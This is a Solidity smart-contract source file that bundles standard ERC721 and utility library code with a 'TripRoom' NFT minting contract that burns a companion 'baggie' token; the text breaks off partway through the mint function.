// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } abstract contract baggie { function ownerOfToken(uint256 tokenId) public view virtual returns (address); function burnFromTripRoom(uint256 baggieID) external virtual; } contract TripRoom is ERC721, Ownable, ERC721Enumerable, ReentrancyGuard { using Strings for uint256; uint256 public NFT_MINTED; string private baseURI; bool public mintEnable; baggie public immutable Baggie = baggie(0x60d103b8c098aFc8d323bfF3B44B18BAe4972911); mapping(uint256 => address) public allowedList; mapping(address => uint256[]) TripRoomAllList; constructor() ERC721('Trippy Apes', 'Trippy Apes') {} function mintNFT(uint256 tokenID, uint256 baggieID) public { require( mintEnable, "Mint is not enable" ); require( Baggie.ownerOfToken(baggieID) == msg.sender, "Incorrect owner" ); require( !_exists(tokenID), "TripRoom: token already exists" ); require( allowedList[tokenID] == msg.sender, "Mint is not enable" ); _safeMint(msg.sender, tokenID); Baggie.burnFromTripRoom(baggieID); NFT_MINTED++; for (uint256 i = 0; i < TripRoomAllList[msg.sender].length; i++) { if (TripRoomAllList[msg.sender][i] == tokenID) { TripRoomAllList[msg.sender][i] = 